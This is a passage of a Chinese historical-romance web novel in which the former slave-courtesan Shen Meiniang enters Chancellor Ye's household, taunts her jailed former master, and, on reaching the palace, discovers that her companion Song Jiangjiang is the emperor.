沈美娘让屋内叶丞相府的人都退下后,才安慰宝儿:“别哭了,我是有把握才来这里的。” 宝儿将信将疑:“你有几分把握?” 沈美娘挑了挑眉:“三分。” “三分把握你就敢做?”宝儿拔高声量。 沈美娘是真不把自己的命当命是不是? “有什么不敢,”沈美娘用手帕帮宝儿擦着眼泪:“三分把握,就要去做,五分把握那就一定要做,七分把握那就是堵上身家性命都得做。” 宝儿撇嘴:“那十分把握,你岂不是得拉上全天下人陪你做。” “非也。”沈美娘故作深沉,“这世上可没有十分把握的事。” 宝儿被沈美娘的歪理说得哑口无言。 沈美娘又道:“撑死胆大的,饿死胆小的。大不了就是一死,但若是成功了……宝儿,咱们现在不就成功了吗?” 她拉住宝儿的手:“我现在可是投到叶丞相门下了,良禽择木而栖,我啊,现在可是挑到了这天底下,不可多得一根好木头。” 宝儿皱眉:“什么勤,什么木头?” “是我挑到了好主子的意思,这可是我昨晚刚找说书先生现学的。”沈美娘得意。 她猜叶丞相这种靠学识,从寒门子弟爬到天子近臣位置的人,肯定也会欣赏同样有学识的人。 她昨晚可是整夜没睡,一知半解地背了好多词儿。 宝儿还是觉得沈美娘这次太冒险:“你别在这儿什么木头了,人家叶丞相和叶司马是一家人,你怎么就知道人家会不帮家人帮你?” 沈美娘故作神秘:“我就是知道。” 宝儿不信:“我看你就是嘴硬,你怎么知道的?” 沈美娘拉住宝儿的手晃了晃,循循善诱:“好宝儿,你平日里不是也喜欢听传奇故事吗?你难道就没听过叶丞相的故事吗?” 宝儿一脸茫然。 传奇故事不都是些妖鬼神仙,才子佳人的缠绵故事吗? 不是这个姑娘死后给书生托信要见一面,就是那个书生被妓\女抛弃,又重新俘获对方芳心。 还有就是什么梦中做到大官,或者抛弃未婚妻、糟糠之妻,另娶夫人的故事。 沈美娘拿着折扇轻敲了一下宝儿的头,了然道:“你就知道看表面。” 宝儿委屈:“那些故事不都是些假的吗?有什么用?除了你,谁会把他们当真啊!” “谁告诉你那些故事全是假的,还没用的?”沈美娘反问。 沈美娘掰着手指和宝儿算:“有个叫叶思的书生被狐妖救了,然后中状元的故事,你听过吧?” 宝儿点头。 “那个叶思的原型就是叶丞相。”沈美娘又继续数着,“还有《秋娃传》里头的叶书生也是叶丞相,更别说直接写明了是戏说叶丞相的《叶明舟外传》了。” 宝儿还是不大懂:“可是这些传奇不都是写的人乱编的吗?” “编也不能完全乱编啊。”沈美娘指着自己,“就像我,等我以后名扬天下了,文人们给我写书,可以说我其实是官员之后,因罪没为奴籍,但总不能说我不是奴籍吧?” “我生得这般好看,你可以编排我是猫鬼幻化,总不可能说我 丑吧?“沈美娘反问。 宝儿总算是懂了:“我明白了,沈美娘你的意思是,那些故事里是有符合事实的部分!” “对!就是这样!”沈美娘道。 她仔细解释:“把那些故事里的‘叶丞相’整理整理,就会发现他们都有共同之处。譬如,他们都是年纪轻轻就中了进士,都容貌俊美,都幼时家贫……” 沈美娘压低声音:“都和叶氏宗族关系恶劣。” 宝儿恍然大悟:“这就是美娘你今日敢来这里的那三分!” 沈美娘摇头:“这最多占半分,还有半分是那块好玉能唬住门房帮我通传,叶丞相也得想想是不是自己哪位故人的旧物,至于剩下的两分……” 她指了指自己的脸,忍不住臭美:“都是仰仗我这张好脸,多亏了它,不然我可不敢来。” 宝儿听到沈美娘的话,嘴角忍不住抽抽。 果然,沈美娘只要脱离险境,就会露出她讨打的本性。 宝儿问:“美娘,那位叶丞相是看上你了吗?” 虽然沈美娘大部分时间都挺嘴贱的,但宝儿还是更希望她别被叶丞相看上。 叶丞相一把年纪了,哪里配得上沈美娘。 毕竟,她不讨打的时候……真的是很好很好的人。 “看上了,但没完全看上。”沈美娘道。 宝儿:“什么意思啊?” 别说宝儿不懂,沈美娘也有些拿不准那个叶丞相的想法。 叶丞相看她的眼里没有情\欲,那就不可能是想纳她为妾的意思。 说是欣赏她吧,沈美娘也觉得不对。 当年叶司马看到她,那简直就跟猫看到老鼠,珠宝商看到上好的美玉一样,可叶丞相的眼神也完全不像那人。 看她的眼神,竟有点像家中长辈看小辈的感觉。 沈美娘也没想到叶丞相居然会真的将她收入门下,原本她想的是讨个叶丞相的庇佑,就觉得不错了…… “反正先住下就是了。”沈美娘想不通干脆不想了。 她这人只要不是会杀头的大事,或者下顿吃什么那种急事,从来都不会多忧虑。 到时候见招拆招就是了。 见宝儿还是不动,沈美娘软了语气,安慰她:“反正肯定不会娶我做小,你就放一百个心吧。” 她可不想和四五十的老东西睡觉,要是叶丞相真有那个意思,她也会另作打算。 宝儿又问:“那娶你做妻子呢?” 沈美娘听到宝儿的话,捏住宝儿肉肉的脸蛋,逗她:“宝儿,你觉得叶丞相那种贵人,会娶我这种贱婢做正妻吗?” “当然!”宝儿毫不迟疑,“沈美娘你怎么做不得了?你做大官夫人、王妃……就算是做皇后,你都做得!” “唉哟——”沈美娘急忙捂住宝儿的嘴,“小点声,这里不是芙蓉谷。” 沈美娘知道宝儿说的是自己从前劝她的话。 这小丫头学别的学得慢,学她这种话倒是学得快。 沈美娘抚摸着宝儿的头,抱着她温柔承诺:“放心吧,我没和你玩文字游戏,叶丞相对我就没那种心思,行了吧?” 宝儿盯着沈美娘看了好一会儿,才点头:“好!” 沈美娘将宝儿揽进怀里,轻轻拍了拍她的肩膀:“去把青词喊进来,我有事交代她。” 她如今脱了险境,听到宝儿的话,不可避免又想起了宋江江。 沈美娘握住藏在袖子里的玉佩。 原来喜欢一个人,真的会做不到如从前般洒脱。 另一间卧房内,宋江江的目光落在叶丞相刚让人送回的剑上。 他将剑拔\出,对着黄昏时的余光端详着这把剑。 这是他武学开蒙时父皇送他的剑,幼时他还拿不稳剑的时候,就曾许愿此后要拿着这把剑惩恶扬善。 他要像妈妈一样,做名扬天下的大侠。 可是如今还是落了空。 宋江江的手指抚过冰冷的薄刃,目光沉沉。 有侍女求见,宋江江收剑入鞘,才道:“进来。” 侍女说明来意,说叶丞相派她监视沈美娘,让她将沈美娘每日的起居和动向都汇报给宋江江。 宋江江冷声道:“不必了。” 侍女没想到陛下会拒绝。 不论是出于对陛下安全的考虑,还是陛下可能好奇沈美娘的日常,叶丞相让她这么做都无可厚非。 宋江江知道和古人解释“人身自由”是对牛弹琴,只道:“我相信沈美娘,我如果想知道她的事……我是说,如果、万一我有那么一点想知道,我会自己去。” “退下吧。”宋江江道。 他又像想起来什么般叫住侍女:“你是暗卫?” 侍女点头。 宋江江道:“你是暗卫,难免伺候不周,我会重新派人去照顾沈美娘的。” 侍女这才明白,陛下原来是信不过叶丞相的人,是想派自己的心腹去。 她还说陛下看起来心思单纯——她才是真单纯,能坐稳皇位的人,怎么可能会心思单纯。 侍女走后,宋江江又吩咐知宁:“你挑几个能干的去……不,你挑十几个去沈美娘那里,我这里不需要那么多人伺候。” 知宁小声问:“公子,这暗卫都调走了,您的安全……” 宋江江深吸一口气,压下怒火:“不从暗卫里调,只从寻常侍女里调。” “你们谁都不准监视沈美娘。”宋江江道。 他心里涌起无力感。 和这里的人谈人权,还不如和沈美娘谈真心、谈爱情。 知宁这才连忙领命,他又询问宋江江:“公子,沈娘子似乎让那个青词姑娘在找您的下落,您看……” 宋江江听到这话,睫毛颤了颤,像是不可置信:“她在找我的下落?” 看到知宁点头,宋江江低头浅笑,再开口时话里不自觉带了几分欣喜:“随她吧。” 沈美娘除了不爱他,或者说给不了他想要的爱以外,她已经是这个世界唯一能听懂他说话的人了。 沈美娘还会找他。 不如——他原谅她好了。 第26章 第26章在?V她贵妃看看实力…… 沈美娘投入叶丞相门下后,就又开始醒了就练舞、练乐器,到点吃饭睡觉的日子。 她好像又恢复了遇到宋江江前的日子。 唯一不同的,约莫就是每日睡前,她都会问青词有没有查到宋江江的下落。 沈美娘迟迟没有得到宋江江的下落,另一件事情却有了结果。 叶司马被下了大狱。 沈美娘听到这个消息时,正在试侍女送来的冬衣。 宝儿看沈美娘听到这个消息,一点都不激动,实在不解:“美娘,主君……叶司马将你贬良为贱,叶随以前也总是对你动手动脚,你听到这个消息怎么都不高兴一下吗?” 沈美娘脱下身上的衣裳,又换了另一件:“我很高兴啊,如果能将叶司马腰斩、砍头,我会更高兴。” 叶司马犯的罪不小,但也算不上“大不敬”、“谋大逆”那种罪,最多也就判个绞刑。 沈美娘垂眸,叶司马和裴家、郑家都有姻亲,想来他们会捞一把他。 那他应该只会被判流刑。 沈美娘可不觉得这样的处罚有何可解气的。 “美娘,你……”宝儿欲言又止。 宝儿知道沈美娘人不坏,可是她一个姑娘家怎么脱口而出就是这些酷刑——她平日里究竟听的什么传奇故事? 沈美娘知道宝儿心思简单,不再多说,吩咐侍女:“这几件衣裳我都喜欢,就都留下吧……宝儿,你送送这位姑娘。” 宝儿走后,沈美娘才问青词:“打点妥当了吗?” 得到青词的回应后,沈美娘起身:“走吧。” 叶司马对她有“栽培之恩”,沈美娘当然得去好好“谢谢”他才是。 青词已经打点妥了狱卒,沈美娘拎着准备好的点心进去。 叶司马灰头土脸,穿 的衣裳也很是破旧,是她从未见过的落魄模样。 沈美娘将食盒放到叶司马面前,取下帏帽,关心道:“大人,这番可是受苦了。” 她说的话是担忧的话,眼里却毫无波澜,甚至称得上冷漠。 叶司马“哼”了一声:“你这叛主的贱奴,居然还敢到我面前来?” 沈美娘眼里登时便溢满眼泪:“大人,奴不过是择木而栖罢了,这也是人之常情。” 叶司马听到沈美娘厚颜无耻的话,冷笑道:“你不要以为我不知道,都是你和叶明舟告发了我的事!” 同叶司马的激动相比,沈美娘显得格外平静:“大人真是聪慧。可大人不是从一开始就知道我不好控制吗?” “不然大人也不会将我贬入贱籍,也不会许我学乐舞礼仪,却唯独不准我念书。”沈美娘道。 叶司马皱眉:“贬你为贱籍又如何?你一个奴婢,我如何做,都是给你的恩赐。” “我知道。”她笑着将食盒打开,“大人这般恩赐,我当然时刻谨记,才会来看望您。” 沈美娘将饭菜一一摆到桌上:“大人可不要将我的一番好意浪费了。” 叶司马盯着那些饭菜,像是看到洪水猛兽般:“难不成你敢在饭菜里下毒?” 沈美娘没有回答这个问题,如从前般低眉顺眼,将筷子捧到叶司马面前:“大人,还是快些吃吧,不然饭菜凉了,就不好吃了。” “你!”叶司马将饭菜扫落在地,“你不要以为如今我落了难,就会被你威胁。” 沈美娘并不意外他的举动:“大人怎么能浪费这些菜呢?好歹也是我的一番心意。既然您不收,那我就只能送给几位公子们吃了。” 她在司马府时,府上的公子没少调戏又或取笑她,叶随不过是那些人中最过分的一个。 叶司马也一直都知道这些事。 他却都装作不知。 沈美娘笑道:“您如今还是朝廷命官,杀您确实不够方便,不过几位公子就不一样了。” “您没被动刑,可几位公子可都被动刑了。就算死了,正好也可以说是扛不住刑死了。”沈美娘起身,“既然大人不领情,我便与大人别过了。” 叶司马紧紧盯着沈美娘,双目猩红,咬牙切齿道:“沈美娘,你也不怕报应!” 沈美娘“噗嗤”一声笑出声,笑得花枝乱颤:“大人、裴夫人,您的那些小妾、同僚,还有他们的亲人,欺压百姓、占人田地、略人贩卖的时候,可曾想过会有报应?” 沈美娘收敛了笑意,脸上只剩下寒意:“还有啊,叶大人——” “我沈美娘,从不信什么报应,什么神佛。” 沈美娘一字一顿道:“我只信,成王败寇,你死我活。” 叶司马看到沈美娘这般冷血无情模样,才意识到她从前那些温柔小意、胆怯无知,全是这女人装出来的表象。 这女人简直就是心如蛇蝎! 沈美娘转身,款款向外走去,叶司马盯着她的背影,道:“等等——” “我吃、我吃!” 叶司马捡起地上的饭菜一口口往嘴里塞,被噎到岔气,也不敢停下,生怕沈美娘真的给他的儿子们送去有毒的饭菜。 沈美娘负手,好整以暇欣赏叶司马的举动。 这些贵人从前都高高在上,看不起她,可是大家有什么不同呢? 为了求生,不还是可以趴在地上吃残羹冷炙吗? 叶司马将饭菜咽下去,却发觉没有想象中的疼痛。 他怔然抬头。 难不成沈美娘当真是来看望他这般简单? 沈美娘:“大人,您如今应该是信我就是来送您一程了吧?” “你想要穿肠毒药?那可太便宜你了。”沈美娘俯身瞧着叶司马:“大人可要很小心才行,若是判了流三千里,到了那南方酷暑之地。这一路蛇虫鼠蚁、瘴气湿热,还有……” “那些被你们害死的亡灵,他们不在了,可是他们的家人都尚在世。” 沈美娘的笑意越来越深,叶司马被吓得冷汗涔涔,嘴里还没咽下去的食物如鲠在喉,让人喘不过气。 沈美娘盯着叶司马惊恐的神情,“好心”提醒:“大人,一定千万要小心哦。” 沈美娘提起食盒就往外走,听到身后传来叶司马剧烈的咳嗽声,像是整个肺都要裂开般。 从牢狱里出来后,沈美娘走到一辆马车前,将食盒归还给里面坐着的赵娘子。 她道:“当年答应替你们兄妹二人报仇之事,我如今也算是做到了。” 沈美娘从袖中掏出一个鼓鼓囊囊的荷包递过去。 赵娘子想要推辞,沈美娘摇头:“你们兄妹为我出力颇多,这是你们应得的,日后我在南州的当铺和田产也还是要靠二位经营。” 赵娘子看沈美娘坚持,只得收下。 她则将一枚平安符递给沈美娘:“这是前些日子,我去庙中替娘子求的,还望娘子岁岁长安。” 沈美娘盯着那平安符,眼神微滞,不自在道:“你不必如此,我与你们兄妹二人不过是各取所需。” 沈美娘很早以前就明白,这世上真情是最无用的东西。 天下之大,唯有利益和权势金钱,才能拴住人心。 可是赵娘子也格外固执:“沈娘子切莫如此说。” “当年我重病时,娘子日子也不好过,却愿意花重金为我治病……这么多年,沈娘子也让青词姑娘为我诊治。”赵娘子拉着沈美娘的手道,“我知道,沈娘子是这天底下难得的好人。” 若只是为了拿到叶家的把柄,沈美娘完全不用做到这份上。 赵娘子这么多年过去,都依旧记得初遇沈美娘的那个冬日。 在她和兄长将叶家侵占她家良田,逼死她们父母的事报官,却反被官府的人打了一通丢出城外时,是沈美娘宛如神女般出现,救下奄奄一息的两人。 沈美娘那时眼中的悲悯绝非作假。 赵娘子想起旧事,不由又泪花满溢。 她抹了抹泪,将平安符再次塞到沈美娘手心:“沈娘子,请你一定要收下。” 沈美娘有些不知所措,她盯了那小小的平安符好一会儿,才将它揣进袖中。 她随口道:“谢了。” 她语气看似平淡,耳根却在微微发烫。 沈美娘已经很久没听到过这种赞美她的话了。 沈美娘又交代了许多事,和赵娘子说好,她到上京站稳脚跟会与他们兄妹再度联络后才离开 回去的路上,沈美娘手里攥紧那枚平安符,就像是拿着烫手山芋般。 等回叶府时,她发现叶府不断有人进进出出。 沈美娘看这局面心中疑惑,门口的侍卫看到她出现,立刻迎了上来:“沈娘子这是去哪里呢?” 沈美娘听到这话,心里的疑惑更甚,她虽然是带着青词去的牢狱,但没有想瞒叶相。 出去时,也是和侍女说她去见叶司马,感谢他从前的知遇之恩。 怎么府上还是在找她? 沈美娘的疑惑很快被解开。 宝儿就在不远处,看到沈美娘就哭着跑过来,抱住她:“美娘,你没事吧?我送完送衣服那姑娘回来,就看到你不在了,我还以为你又出事了。” 沈美娘这才知道是宝儿误会了。 她问:“我不是说了,我是去见叶司马了吗?” “可是我看你这么久没回来,我怕万一你被叶司马的人报复。”宝儿道。 沈美娘听了宝儿的话,知道她是好意,但…… 她戳了戳宝儿的额头:“叶司马还怎么报复?他这次落难,是叶丞相的意思,他的那些还没落难的同僚、姻亲谁不躲得远远的?” 宝儿捂住额头,泪眼汪汪:“人家担心你嘛。” 沈美娘看宝儿这样,想着她的脾气是自己纵容出来的,揉了两把她的头发也不再追究。 今夜去送叶司马一程,不带宝儿,和上次去黑市救宋江江一样。 这种复杂棘手的事,沈美娘还是不想宝儿太早掺和,她希望这小姑娘能再多无忧无虑几年。 沈美娘又哄了宝儿几句,但看到叶丞相府上这些人慌乱的局面,心中还是颇为疑惑。 沈美娘自恃美貌不假,但她也明白自己对叶相不会那般重要。 按理来说,宝儿担心她是被叶司马的人绑了,叶相总不至于会信。 更何况,沈美娘说破天了,也就是个美人,是件礼物罢了。 对叶司马来说,她兴许颇为“珍贵”,但对叶相而言,又哪里值得如此兴师动众呢? 正在此时,下人来通传,说叶 相想要见她。 沈美娘跟着侍女去了叶相的院子,果见他站在庭中等她。 沈美娘很爱惜自己的命,也很宝贝自己的身体,从小她的眼神就很好。 她一进院中,就能看到不远处的梅树旁,似乎是藏了个人。 沈美娘记得传奇故事里都说那些王孙公子身边会有暗卫,她只当这就是传说中的“暗卫”了。 不过连她这种一点武功都不会的,都能感觉出这暗卫的存在,看来这个暗卫也没什么厉害本事。 叶明舟不知沈美娘心中所想,只悄悄打量着沈美娘,确信她没有受伤,才松了口气。 刚才宝儿和府上侍女说了她的猜测,陛下立即就派了人去找。 倒不是担心叶司马和他同伙的报复,陛下是怕上京的人得了消息动手脚。 叶明舟当然觉得没人敢有那个胆子,可陛下也说什么都不放心。 还好沈美娘这没多久就回来了,不然恐怕又要兴师动众一番。 借今夜的事,叶明舟也更明白陛下对沈美娘的态度,语气更为尊敬:“听说沈娘子去探望叶司马呢?” 沈美娘点头,笑得单纯无害:“叶司马虽然犯下诸多错,但毕竟对奴有知遇之恩,奴当然要去看望他。” 叶明舟听到这话,心中对沈美娘愈加欣赏。 这般善良的好姑娘,也难怪会救了宋江江,还会被宋江江喜欢上。 叶明舟越看沈美娘越满意,这姑娘又聪明又好看,还心肠好,如果陛下和她在一起…… 等他百年以后,也能对先帝有个交代了。 梅树那边却忽然传来声响。 沈美娘朝那处看了过去。 这暗卫实在是太不小心了,居然犯了这么明显的错误。 还没等叶明舟想到为那处动静遮掩的借口,沈美娘就捋了捋鬓发,主动开口:“南州这是要入冬了,风也越来越大,大人要记得添冬衣。” 她把意外的声响,归因于夜风拂动树叶。 这样那个暗卫兴许就不会受罚,就算被罚也会被罚得轻些吧? 也是可怜,这么晚了,还要在寒风里守着主子——沈美娘平日这个点,梦都做好几个了。 叶相颔首,沈美娘才恭谨退下。 等沈美娘离开,宋江江才从梅树后走出来,反驳道:“她才不是好心去看叶司马。” 他刚才就是听到沈美娘的话,心里想反驳,一时忘了自己的处境,才会弄出声响。 叶明舟讶然。 这位沈娘子愿意救素不相识的宋江江,又敢于揭发叶司马的罪行,还不忘旧主恩情…… 更别说她刚才的话,明显是把宋江江当成了暗卫、侍卫等人,在给他开脱,免受主子重责。 这个姑娘明明如此善良聪慧,怎的宋江江会对她有如此偏见? 但叶明舟又不能直接反驳宋江江。 他便顺着宋江江问:“公子,为何这般认为?” “我就是知道!”宋江江冷哼。 他盯着沈美娘离开的方向。 沈美娘就是这样最会演了! 谁都会被她骗过去,就连自己都被她骗了、哄了那么多次。 沈美娘才不是什么以德报怨的性子。 她只会“以眼还眼,以牙还牙”。 她今夜肯定是去落井下石,说不定还好好气了一通那个叶司马。 不过—— 宋江江又冷哼一声:“叶祯作恶多端,被沈美娘奚落也是他活该。” 叶祯是叶司马的名字。 叶相原本听到宋江江前面的话,还想着他当真讨厌沈美娘,可一听后面这句话,又明白宋江江可不讨厌沈美娘。 帝王的厌恶可不是这样的。 叶明舟猜测两人可能是闹别扭还没和好,故意道:“既然公子如此讨厌沈美娘,不如就将她留在南州,臣在南州也有亲友可以照顾……” “不行!” 叶明舟的话还没说完,就被宋江江打断。 宋江江也知道这样显得他太在意沈美娘,愣了一下,编了个借口:“她对我是救命之恩,自当以千金报之。” 叶明舟没戳穿宋江江,追问:“公子的意思,难道是封她做郡主?” “不够。她救了我,封国公主也是应当。”宋江江道。 他又想起沈美娘刚才还在自称“奴”,吩咐道:“给她恢复良籍的事,你也要再上心些,能快则快。” 叶明舟点头称是。 宋江江欲盖弥彰般强调:“我这都是为了报恩,才不是对她有非分之想。” 沈美娘都指着他鼻子,说他对她的爱称不上喜欢,把他的一颗真心贬得一文不值了。 他要是再舔着脸凑上去,未免也显得自己太“白给”了。 叶明舟拼命压着嘴角的笑容:“臣明白。” 以前,先帝总说陛下不肖他,想来还是没看过陛下此时的模样。 他们父子俩明明是一个模子里刻出来的嘴硬心软- 上京,兴宁坊。 今日是谢阁老六十寿宴,府上前来祝寿之人颇多。 酒过三巡,原本坐在宴席中靠前位置的人,却在下人俯身在他耳旁低声耳语后起身离席。 旁边的郑尚书带着酒气,问:“沈大人怎的如此着急?是有什么棘手的事不成?” 谢阁老可是谢党领袖,沈温作为谢党人中途离席,说不定会惹非议,他也是好心提醒沈温。 沈温勾唇,语气温和:“无碍,多谢郑兄关切。在下不胜酒力,想出去清醒清醒。” 他生得端正,又一身书卷气,说起话来也满是真切,让人不由相信。 郑尚书点了点,就随他去了。 沈温避开熙攘人群,寻了谢府中清幽僻静的地方,才将探子唤了出来:“南州那边究竟是什么情况?” 叶祯下狱的事发生得太突然,沈美娘在他府上,沈温这些日子一直都担心她跟着受连累。 沈温的眼中闪过一丝愧疚之色。 终究,是他亏欠沈美娘太多。 探子将沈美娘转投叶相门下,还颇为叶相看重的事,仔细讲给沈温。 “叶明舟对沈娘子是什么打算?”沈温又问。 探子回禀:“叶相想将沈娘子带回上京,还颇为礼遇。” 沈温听到这话,追问:“当真?” 探子也不知道主子平日里那般冷静的人,怎的会因一个女人就乱了方寸,不明所以点头。 沈温听到这话,面色沉沉,和之前在众人面前如沐春风的温润公子全然不同。 探子见沈温这般表现,想起主子与沈美娘的恩怨,主动提议:“大人,南州到京城路途遥远,属下等可以将沈娘子半道劫走。” “不可。”沈温毫不犹豫否决了这个方法。 此计不论成功与否,叶明舟定然都会追查到底。 如今,他还不能明面上得罪叶明舟。 沈温揉了揉眉心。 叶明舟不是好色之人,他带沈美娘回京,自然不会是想纳沈美娘为妾。 若是叶明舟也是想学叶祯,那他又会把沈美娘献给谁呢? 宁王那个废物不大可能,掌神策军的裴渡倒是一直在谢党和叶党间摇摆不定,远在西南手握重兵的姜忠也尚未站队…… 就算真是这几个人也还算有回旋的余地。 沈温最担心的是,叶相是想把沈美娘献给陛下。 陛下登基以来以守孝的名义,迟迟不肯选秀,后宫空悬已久。 叶相若是想往陛下宫里塞人,也说得过去。 “你让人继续盯着。”沈温冷冷道。 在探子即将离开时,他又叫住那人:“沈娘子——” 沈温顿了一下。 沈美娘从前就脾气倔,爱活动,不服输。 这么多年来,他怕知道她的近况,会忍不住去找她,从来没敢问过沈美娘的近况。 可他很想知道沈美娘的近况。 她可有变瘦,她的眼睛是不是还是笑起来眉眼弯弯,是不是看人时依旧真诚 热烈。 探子在等沈温的吩咐,可是在良久的沉默后,沈温只是叹了口气:“你退下吧。” 如今还没到时候,他便是问了也无用,还不如不问。 沈温挥退探子,又恢复他温和守礼的君子模样,转身回了宴席。 长夜漫漫,有人借酒消愁至天明,沈美娘却安睡了整夜。 她醒得很早,大清早就收拾检点自己的首饰衣裳。 宝儿被她吵到,迷迷糊糊道:“沈美娘,你不困吗?” 沈美娘点数着自己的东西:“不困啊。” 一想到过几日就要动身去传闻中的上京了,她就激动得根本睡不着。 那可是上京! 是天子所居的地方,是到处都是权贵的地方。 那种地方,多的是机遇。 沈美娘很小的时候就听说过那个地方,如今终于可以亲眼看到了。 她倒要看看,传闻中的上京,究竟有多了不起。 沈美娘把她值钱的宝贝都数了一遍,确认无误后,将宋江江留给她的玉佩放在盒中装进箱子最深处。 宋江江和她说什么这块玉佩,会帮她得到想要的荣华富贵——可是这些日子,都没人来找她。 这天底下恐怕也没几人比叶相更有权势了。 沈美娘只当宋江江是知道她如今捡得良枝,就不来打扰她的安稳了。 至于这块玉佩,她也打算连同和宋江江的这段情一起,埋在心中。封存起来。 沈美娘推开门,吩咐门外的青词:“不必再找宋江江了。” 一段美好的感情,不需要结果,也够她在漫漫余生中,偶尔回味了。 启程离开上京那日,沈美娘亲眼盯着自己的东西都被搬上马车才放心。 临别之际,沈美娘掀开帘子回望南州城气派的城墙。 宝儿看她出神的模样,以为她是不舍南州城,安慰她:“美娘,你不必如此不舍,日后……” “谁说我不舍呢?”沈美娘打断宝儿的话,一脸兴奋地比划,“好宝儿,你说南州城不过一个中州,城墙就如此气派,那上京的城墙得多高、多大啊!?” 沈美娘憧憬道:“想想就好奇。” 宝儿忍不住道:“沈美娘,你没救了。” 沈美娘这个女人,这辈子都定型了,什么柔软心肠,跟她就不沾一点边儿。 “非也。”沈美娘这些日子跟着侍女又学了许多文雅词,她扇着折扇,“我这叫豁达。” 沈美娘挑眉:“再说,我本来就不是南州人,这里于我而言,也不过是他乡罢了。” 宝儿总觉得沈美娘这话哪里不对,可又好像反驳不了。 她只能撇撇嘴,指着沈美娘扇风的手:“都入冬了,你还扇你那破扇子,小心着凉。” 沈美娘毫不在意:“没事,这样不显得我足智多谋嘛。” 宝儿被沈美娘的话弄得说不出话,她不再和沈美娘多费口舌——主要是她也是真说不过沈美娘。 南州到上京坐马车最快也得一两个月,沈美娘却一点都不觉得白日漫长,每日都怀揣着对上京期待。 等到真的进京那日,沈美娘好奇地掀开车帘。 她看到了上京的人,也是两个眼睛一个嘴,和她没什么不同。 上京的城楼倒是更大,更高,修得……沈美娘想了很久,终于想起“固若金汤”这个词儿。 不愧是大燕的都城,当真是和南州截然不同。 马车一路穿城而过,没在路上任何一个坊口停下。 沈美娘听传奇故事里说,有权有势的贵人都在皇城、宫城附近住着。 叶丞相这般大的官,想来肯定住得离皇城最近。 不知过了多久,沈美娘看到有人掀开车帘,伸手给她:“沈娘子,请下车。” 沈美娘扶着那人的手,从马车内出来,下一刻就被眼前巍峨的宫殿惊住。 叶丞相这是打算把她献给皇帝? 沈美娘发现只有她一人的马车直接进了宫城。 刚才搀扶沈美娘的人既不是青词、宝儿,也不是谢相府上的侍女,而是一位沈美娘从未见过的女子。 她梳了高髻,举手投足不像寻常侍女。 那人向沈美娘行礼,道:“沈娘子,下官是尚仪局的徐掌宾,请您跟下官来。” 徐掌宾给沈美娘引路,同时给她解释:“谢相是外臣,和您不能一同走,至于您的贴身侍女需要先去尚宫局录下名帖才行。” 沈美娘跟着徐掌宾进了一处宫殿,便有宫女带她去沐浴更衣,收去可能伤人的物件,替她重新梳妆打扮。 就算沈美娘试图打探消息,宫人们也全都恭谨不敢多言,像木偶般毫无生气细心地伺候沈美娘。 等到沈美娘被打扮好,徐掌宾道:“娘子请在殿中等待,宴会还有两个时辰才开始。” 听到这话,沈美娘第一反应是她饿了怎么办。 从早上用完早饭后,沈美娘就再没吃东西,还要再等两个时辰才开始宴会。 宴会上,她肯定也是什么都不能吃的,她要是到时候饿晕过去,岂不是会被皇帝拖出去砍头。 就在沈美娘想要不要睡会儿,以至于等会儿别晕过去,还是干脆找宫人要饭吃时,就看到有宫人在给她上菜。 好贴心! 不愧是皇宫,就是比在南州好多了。 徐掌宾道:“沈娘子舟车劳顿,可以先垫垫肚子。” 沈美娘和徐掌宾客气了一番,矜持又不住地往自己的嘴里塞东西。 她本来就饿了,更别说这饭菜居然还都很合她胃口! 在看到饭菜里的蟹肉时,她目光略微滞了片刻,想起了宋江江曾给她做过的蟹黄面。 但不过片刻,沈美娘就将异样的情绪抛诸脑后,心里只有一个想法—— 宫里的饭菜真是太好吃了! 沈美娘越吃越觉得宫里就是好,她一定要想尽办法让那小皇帝看上她才行。 不说别的,就看在这一桌子好东西的份上,她也得想办法留在宫里。 等到夜色渐浓,沈美娘就被宫人们引着往另一处宫殿去。 她也不知道那是什么地方,只觉得比刚才她梳妆打扮的地方还要华丽威严许多。 沈美娘逐渐走近那宫殿,里面的乐舞声逐渐明显,又瞬间停下——她猜应该是小皇帝发话叫停的。 她听到尖利的太监声音:“宣沈氏觐见。” 沈美娘听到这声音,提着裙子谨慎地跨过有些高的门槛。 沈美娘觉得她该紧张的。 这般盛大的场合,上首坐的也是这全天下最有权势的男人。 可是,沈美娘丝毫慌张也没有,她甚至觉得自己全身上下的每一寸血肉都无比兴奋。 那些血肉里包裹着的野心、欲/望,在跳动和叫嚣。 沈美娘徐徐走到殿中,依着在司马府学过的礼仪,跪下行礼:“贱民沈氏拜见陛下。” 她语气不卑不亢,官家小姐如此很妥当,但放到贱民身上,就显得略有些出格了。 沈美娘又在赌。 她听过关于这个小皇帝的故事。 文人们不喜欢编排他的故事,怕砍头和灭九族是一方面,另一方面,就是他没什么好编排的。 和先帝一生大刀阔斧改革,三征漠北,废元后,立贱民做皇后比起来,这位小皇帝实在是太平平无奇了。 这个小皇帝子以母贵,一落地就是金尊玉贵的太子,先帝给他留下的也是个四海升平的盛世。 这般平顺得没有波澜的人生,以至于文人都不爱编排他。 沈美娘也只能猜测,这般循规蹈矩的人,应该不会喜欢同样温吞的人。 他们更容易被和自己迥然不同的人吸引目光,比如离经叛道,又比如张扬恣意的灵动美人。 沈美娘低头,等着自己放手一搏的结果—— “平身。” 沈美娘听到这声音错愕。 这是宋江江的声音! 他的声音介于少年人和青年之间,他的声音很好认,更别说,沈美娘和他朝夕相处了几个月。 原来宋江江是皇帝姜颂。 好啊,嘴上说什么不骗她,其实还不是骗她了! 沈美娘心里的愤怒只有 一瞬间,她又想起了自己那夜指着姜颂骂的那些难听话。 还有她之前说文昭皇后的话,以及对姜颂爹的评价…… 她之前都在胡言乱语些什么啊。 沈美娘不敢抬头,脑子里只想着该怎么破局。 宋江江道:“朕此次微服江南受重伤,多亏了沈娘子相助,来人赐座。” “多谢陛下。”沈美娘谢恩。 她在席间很靠前的位置坐下,细品刚才姜颂的语气——听着好像没生气的意思。 沈美娘稍微放下心,正襟危坐,也不继续装“胆大无知”的样子。 姜颂看到沈美娘的举动,知道沈美娘没打算继续装了。 她总是这样,轻而易举就能装成任何模样,把所有人都玩弄于掌心。 姜颂心中不悦,故意道:“沈娘子,你说,朕给得起你荣华富贵吗?” 他的语气不算重,再加上姜颂两日前,就把沈美娘在他落难时救过他的事,故意传扬开了。 殿上的人都没往姜颂生气的方向想,只当陛下是在和恩人打趣。 唯有沈美娘知道这小剑客还记她仇。 不就是说了他几句难听话吗?怎么还记仇到现在? 在短暂的怔愣后,沈美娘立刻道:“我信!” 